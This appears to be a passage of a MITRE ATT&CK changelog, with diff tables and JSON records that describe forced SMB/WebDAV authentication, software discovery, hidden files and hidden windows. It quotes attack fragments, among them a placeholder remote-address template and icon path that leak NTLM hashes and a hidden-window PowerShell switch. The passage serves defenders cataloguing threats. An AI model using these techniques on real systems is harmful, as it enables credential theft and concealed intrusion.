| > | tems for access to resources and file sharing. When a Window | > | tems for access to resources and file sharing. When a Window | ||
| > | s system attempts to connect to an SMB resource it will auto | > | s system attempts to connect to an SMB resource it will auto | ||
| > | matically attempt to authenticate and send credential inform | > | matically attempt to authenticate and send credential inform | ||
| > | ation for the current user to the remote system. (Citation: | > | ation for the current user to the remote system.(Citation: W | ||
| > | Wikipedia Server Message Block) This behavior is typical in | > | ikipedia Server Message Block) This behavior is typical in e | ||
| > | enterprise environments so that users do not need to enter c | > | nterprise environments so that users do not need to enter cr | ||
| > | redentials to access network resources. Web Distributed Aut | > | edentials to access network resources. Web Distributed Auth | ||
| > | horing and Versioning (WebDAV) is also typically used by Win | > | oring and Versioning (WebDAV) is also typically used by Wind | ||
| > | dows systems as a backup protocol when SMB is blocked or fai | > | ows systems as a backup protocol when SMB is blocked or fail | ||
| > | ls. WebDAV is an extension of HTTP and will typically operat | > | s. WebDAV is an extension of HTTP and will typically operate | ||
| > | e over TCP ports 80 and 443. (Citation: Didier Stevens WebDA | > | over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV | ||
| > | V Traffic) (Citation: Microsoft Managing WebDAV Security) A | > | Traffic)(Citation: Microsoft Managing WebDAV Security) Adve | ||
| > | dversaries may take advantage of this behavior to gain acces | > | rsaries may take advantage of this behavior to gain access t | ||
| > | s to user account hashes through forced SMB/WebDAV authentic | > | o user account hashes through forced SMB/WebDAV authenticati | ||
| > | ation. An adversary can send an attachment to a user through | > | on. An adversary can send an attachment to a user through sp | ||
| > | spearphishing that contains a resource link to an external | > | earphishing that contains a resource link to an external ser | ||
| > | server controlled by the adversary (i.e. [Template Injection | > | ver controlled by the adversary (i.e. [Template Injection]( | ||
| > | ](https://attack.mitre.org/techniques/T1221)), or place a sp | > | https://attack.mitre.org/techniques/T1221)), or place a spec | ||
| > | ecially crafted file on navigation path for privileged accou | > | ially crafted file on navigation path for privileged account | ||
| > | nts (e.g. .SCF file placed on desktop) or on a publicly acce | > | s (e.g. .SCF file placed on desktop) or on a publicly access | ||
| > | ssible share to be accessed by victim(s). When the user's sy | > | ible share to be accessed by victim(s). When the user's syst | ||
| > | stem accesses the untrusted resource it will attempt authent | > | em accesses the untrusted resource, it will attempt authenti | ||
| > | ication and send information, including the user's hashed cr | > | cation and send information, including the user's hashed cre | ||
| > | edentials, over SMB to the adversary controlled server. (Cit | > | dentials, over SMB to the adversary-controlled server.(Citat | ||
| > | ation: GitHub Hashjacking) With access to the credential has | > | ion: GitHub Hashjacking) With access to the credential hash, | ||
| > | h, an adversary can perform off-line [Brute Force](https://a | > | an adversary can perform off-line [Brute Force](https://att | ||
| > | ttack.mitre.org/techniques/T1110) cracking to gain access to | > | ack.mitre.org/techniques/T1110) cracking to gain access to p | ||
| > | plaintext credentials. (Citation: Cylance Redirect to SMB) | > | laintext credentials.(Citation: Cylance Redirect to SMB) Th | ||
| > | There are several different ways this can occur. (Citation: | > | ere are several different ways this can occur.(Citation: Osa | ||
| > | Osanda Stealing NetNTLM Hashes) Some specifics from in-the- | > | nda Stealing NetNTLM Hashes) Some specifics from in-the-wild | ||
| > | wild use include: * A spearphishing attachment containing a | > | use include: * A spearphishing attachment containing a doc | ||
| > | document with a resource that is automatically loaded when | > | ument with a resource that is automatically loaded when the | ||
| > | the document is opened (i.e. [Template Injection](https://at | > | document is opened (i.e. [Template Injection](https://attack | ||
| > | tack.mitre.org/techniques/T1221)). The document can include, | > | .mitre.org/techniques/T1221)). The document can include, for | ||
| > | for example, a request similar to <code>file[:]//[remote ad | > | example, a request similar to <code>file[:]//[remote addres | ||
| > | dress]/Normal.dotm</code> to trigger the SMB request. (Citat | > | s]/Normal.dotm</code> to trigger the SMB request.(Citation: | ||
| > | ion: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF | > | US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file | ||
| > | file with the icon filename pointing to an external referenc | > | with the icon filename pointing to an external reference suc | ||
| > | e such as <code>\\\\[remote address]\\pic.png</code> that will | > | h as <code>\\\\[remote address]\\pic.png</code> that will force | ||
| > | force the system to load the resource when the icon is rende | > | the system to load the resource when the icon is rendered t | ||
| > | red to repeatedly gather credentials. (Citation: US-CERT APT | > | o repeatedly gather credentials.(Citation: US-CERT APT Energ | ||
| > | Energy Oct 2017) | > | y Oct 2017) Alternatively, by leveraging the <code>EfsRpcOp | ||
| > | enFileRaw</code> function, an adversary can send SMB request | ||||
| > | s to a remote system's MS-EFSRPC interface and force the vic | ||||
| > | tim computer to initiate an authentication procedure and sha | ||||
| > | re its authentication details. The Encrypting File System Re | ||||
| > | mote Protocol (EFSRPC) is a protocol used in Windows network | ||||
| > | s for maintenance and management operations on encrypted dat | ||||
| > | a that is stored remotely to be accessed over a network. Uti | ||||
| > | lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP | ||||
| > | C is used to open an encrypted object on the server for back | ||||
| > | up or restore. Adversaries can collect this data and abuse i | ||||
| > | t as part of a NTLM relay attack to gain access to remote sy | ||||
| > | stems on the same internal network.(Citation: Rapid7)(Citati | ||||
| > | on: GitHub) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the victim's host s | t | 1 | Adversaries may gather information about the victim's host s |
| > | oftware that can be used during targeting. Information about | > | oftware that can be used during targeting. Information about | ||
| > | installed software may include a variety of details such as | > | installed software may include a variety of details such as | ||
| > | types and versions on specific hosts, as well as the presen | > | types and versions on specific hosts, as well as the presen | ||
| > | ce of additional components that might be indicative of adde | > | ce of additional components that might be indicative of adde | ||
| > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | ||
| > | saries may gather this information in various ways, such as | > | saries may gather this information in various ways, such as | ||
| > | direct collection actions via [Active Scanning](https://atta | > | direct collection actions via [Active Scanning](https://atta | ||
| > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | ||
| > | banners, user agent strings) or [Phishing for Information](h | > | banners, user agent strings) or [Phishing for Information](h | ||
| > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | ||
| > | lso compromise sites then include malicious content designed | > | lso compromise sites then include malicious content designed | ||
| > | to collect host information from visitors.(Citation: ATT Sc | > | to collect host information from visitors.(Citation: ATT Sc | ||
| > | anBox) Information about the installed software may also be | > | anBox) Information about the installed software may also be | ||
| > | exposed to adversaries via online or other accessible data s | > | exposed to adversaries via online or other accessible data s | ||
| > | ets (ex: job postings, network maps, assessment reports, res | > | ets (ex: job postings, network maps, assessment reports, res | ||
| > | umes, or purchase invoices). Gathering this information may | > | umes, or purchase invoices). Additionally, adversaries may a | ||
| > | reveal opportunities for other forms of reconnaissance (ex: | > | nalyze metadata from victim-owned files (e.g., PDFs, DOCs, i | ||
| > | [Search Open Websites/Domains](https://attack.mitre.org/tech | > | mages, and sound files hosted on victim-owned websites) to e | ||
| > | niques/T1593) or [Search Open Technical Databases](https://a | > | xtract information about the software and hardware used to c | ||
| > | ttack.mitre.org/techniques/T1596)), establishing operational | > | reate or process those files. Metadata may reveal software v | ||
| > | resources (ex: [Develop Capabilities](https://attack.mitre. | > | ersions, configurations, or timestamps that indicate outdate | ||
| > | org/techniques/T1587) or [Obtain Capabilities](https://attac | > | d or vulnerable software. This information can be cross-refe | ||
| > | k.mitre.org/techniques/T1588)), and/or for initial access (e | > | renced with known CVEs to identify potential vectors for exp | ||
| > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | > | loitation in future operations.(Citation: Outpost24) Gather | ||
| > | ques/T1195) or [External Remote Services](https://attack.mit | > | ing this information may reveal opportunities for other form | ||
| > | re.org/techniques/T1133)). | > | s of reconnaissance (ex: [Search Open Websites/Domains](http | ||
| > | s://attack.mitre.org/techniques/T1593) or [Search Open Techn | ||||
| > | ical Databases](https://attack.mitre.org/techniques/T1596)), | ||||
| > | establishing operational resources (ex: [Develop Capabiliti | ||||
| > | es](https://attack.mitre.org/techniques/T1587) or [Obtain Ca | ||||
| > | pabilities](https://attack.mitre.org/techniques/T1588)), and | ||||
| > | /or for initial access (ex: [Supply Chain Compromise](https: | ||||
| > | //attack.mitre.org/techniques/T1195) or [External Remote Ser | ||||
| > | vices](https://attack.mitre.org/techniques/T1133)). |
dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \u201cspace\u201d character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/001",
"external_id": "T1564.001"
},
{
"source_name": "WireLurker",
"description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
},
{
"source_name": "Sofacy Komplex Trojan",
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"source_name": "Antiquated Mac Malware",
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Gr@ve_Rose (tcpdump101.com on bsky)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Gr@ve_Rose (tcpdump101.com on bsky)\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Metadata\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.244000+00:00\", \"old_value\": \"2025-04-25 14:48:27.868000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"old_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,6 @@\\n \\n Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n \\n+Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n+\\n Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system and shell commands for files being created with a leading \\\".\\\" and the Windows command-line use of attrib.exe to add the hidden attribute.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}",
"previous_version": "1.1",
"version_change": "1.1 \u2192 1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may set files and directories to be hidden to ev | t | 1 | Adversaries may set files and directories to be hidden to ev |
| > | ade detection mechanisms. To prevent normal users from accid | > | ade detection mechanisms. To prevent normal users from accid | ||
| > | entally changing special files on a system, most operating s | > | entally changing special files on a system, most operating s | ||
| > | ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019 | > | ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019 | ||
| > | t show up when a user browses the file system with a GUI or | > | t show up when a user browses the file system with a GUI or | ||
| > | when using normal commands on the command line. Users must e | > | when using normal commands on the command line. Users must e | ||
| > | xplicitly ask to show the hidden files either via a series o | > | xplicitly ask to show the hidden files either via a series o | ||
| > | f Graphical User Interface (GUI) prompts or with command lin | > | f Graphical User Interface (GUI) prompts or with command lin | ||
| > | e switches (<code>dir /a</code> for Windows and <code>ls \u2013a< | > | e switches (<code>dir /a</code> for Windows and <code>ls \u2013a< | ||
| > | /code> for Linux and macOS). On Linux and Mac, users can ma | > | /code> for Linux and macOS). On Linux and Mac, users can ma | ||
| > | rk specific files as hidden simply by putting a \u201c.\u201d as the f | > | rk specific files as hidden simply by putting a \u201c.\u201d as the f | ||
| > | irst character in the file or folder name (Citation: Sofacy | > | irst character in the file or folder name (Citation: Sofacy | ||
| > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | ||
| > | nd folders that start with a period, \u2018.\u2019, are by default hid | > | nd folders that start with a period, \u2018.\u2019, are by default hid | ||
| > | den from being viewed in the Finder application and standard | > | den from being viewed in the Finder application and standard | ||
| > | command-line utilities like \u201cls\u201d. Users must specifically c | > | command-line utilities like \u201cls\u201d. Users must specifically c | ||
| > | hange settings to have these files viewable. Files on macOS | > | hange settings to have these files viewable. Files on macOS | ||
| > | can also be marked with the UF_HIDDEN flag which prevents t | > | can also be marked with the UF_HIDDEN flag which prevents t | ||
| > | hem from being seen in Finder.app, but still allows them to | > | hem from being seen in Finder.app, but still allows them to | ||
| > | be seen in Terminal.app (Citation: WireLurker). On Windows, | > | be seen in Terminal.app (Citation: WireLurker). On Windows, | ||
| > | users can mark specific files as hidden by using the attrib. | > | users can mark specific files as hidden by using the attrib. | ||
| > | exe binary. Many applications create these hidden files and | > | exe binary. Many applications create these hidden files and | ||
| > | folders to store information so that it doesn\u2019t clutter up t | > | folders to store information so that it doesn\u2019t clutter up t | ||
| > | he user\u2019s workspace. For example, SSH utilities create a .ss | > | he user\u2019s workspace. For example, SSH utilities create a .ss | ||
| > | h folder that\u2019s hidden and contains the user\u2019s known hosts a | > | h folder that\u2019s hidden and contains the user\u2019s known hosts a | ||
| > | nd keys. Adversaries can use this to their advantage to hid | > | nd keys. Additionally, adversaries may name files in a mann | ||
| > | e files and folders anywhere on the system and evading a typ | > | er that would allow the file to be hidden such as naming a f | ||
| > | ical user or system analysis that does not incorporate inves | > | ile only a \u201cspace\u201d character. Adversaries can use this to t | ||
| > | tigation of hidden files. | > | heir advantage to hide files and folders anywhere on the sys | ||
| > | tem and evading a typical user or system analysis that does | ||||
| > | not incorporate investigation of hidden files. |
apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/003",
"external_id": "T1564.003"
},
{
"source_name": "Cantoris Computing",
"description": "Cantoris. (2016, July 22). PowerShell Malware. Retrieved December 12, 2024.",
"url": "https://cantoriscomputing.wordpress.com/2016/07/22/powershell-malware/"
},
{
"source_name": "Cybereason - Hidden Malicious Remote Access",
"description": "Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.",
"url": "https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access"
},
{
"source_name": "LOLBAS Project GitHub Device Cred Dep",
"description": "Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/"
},
{
"source_name": "Hidden VNC",
"description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.",
"url": "https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html"
},
{
"source_name": "Anatomy of an hVNC Attack",
"description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.",
"url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/"
},
{
"source_name": "SecureList BlueNoroff Device Cred Dev",
"description": "Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.",
"url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"
},
{
"source_name": "Antiquated Mac Malware",
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
},
{
"source_name": "PowerShell About 2019",
"description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Travis Smith, Tripwire",
"Mark Tsipershtein",
"Vijay Lalwani",
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.485000+00:00\", \"old_value\": \"2025-04-15 19:59:07.977000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \\n\\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\\n\\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\\n\\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\\n\\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n\\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\\n\\nAdversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.\", \"old_value\": \"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \\n\\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\\n\\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\\n\\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\\n\\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n\\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\", \"diff\": \"--- \\n+++ \\n@@ -9,3 +9,5 @@\\n The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\\\Console\\\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)\\n \\n In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.\\n+\\n+Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Cybereason - Hidden Malicious Remote Access\", \"description\": \"Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.\", \"url\": \"https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access\"}, \"root['external_references'][3]\": {\"source_name\": \"LOLBAS Project GitHub Device Cred Dep\", \"description\": \"Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.\", \"url\": \"https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/\"}, \"root['external_references'][6]\": {\"source_name\": \"SecureList BlueNoroff Device Cred Dev\", \"description\": \"Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.\", \"url\": \"https://securelist.com/bluenoroff-methods-bypass-motw/108383/\"}, \"root['x_mitre_contributors'][3]\": \"Liran Ravich, CardinalOps\"}}",
"previous_version": "1.3",
"version_change": "1.3 \u2192 1.4",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use hidden windows to conceal malicious acti | t | 1 | Adversaries may use hidden windows to conceal malicious acti |
| > | vity from the plain sight of users. In some cases, windows t | > | vity from the plain sight of users. In some cases, windows t | ||
| > | hat would typically be displayed when an application carries | > | hat would typically be displayed when an application carries | ||
| > | out an operation can be hidden. This may be utilized by sys | > | out an operation can be hidden. This may be utilized by sys | ||
| > | tem administrators to avoid disrupting user work environment | > | tem administrators to avoid disrupting user work environment | ||
| > | s when carrying out administrative tasks. Adversaries may | > | s when carrying out administrative tasks. Adversaries may | ||
| > | abuse these functionalities to hide otherwise visible window | > | abuse these functionalities to hide otherwise visible window | ||
| > | s from users so as not to alert the user to adversary activi | > | s from users so as not to alert the user to adversary activi | ||
| > | ty on the system.(Citation: Antiquated Mac Malware) On macO | > | ty on the system.(Citation: Antiquated Mac Malware) On macO | ||
| > | S, the configurations for how applications run are listed in | > | S, the configurations for how applications run are listed in | ||
| > | property list (plist) files. One of the tags in these files | > | property list (plist) files. One of the tags in these files | ||
| > | can be <code>apple.awt.UIElement</code>, which allows for J | > | can be <code>apple.awt.UIElement</code>, which allows for J | ||
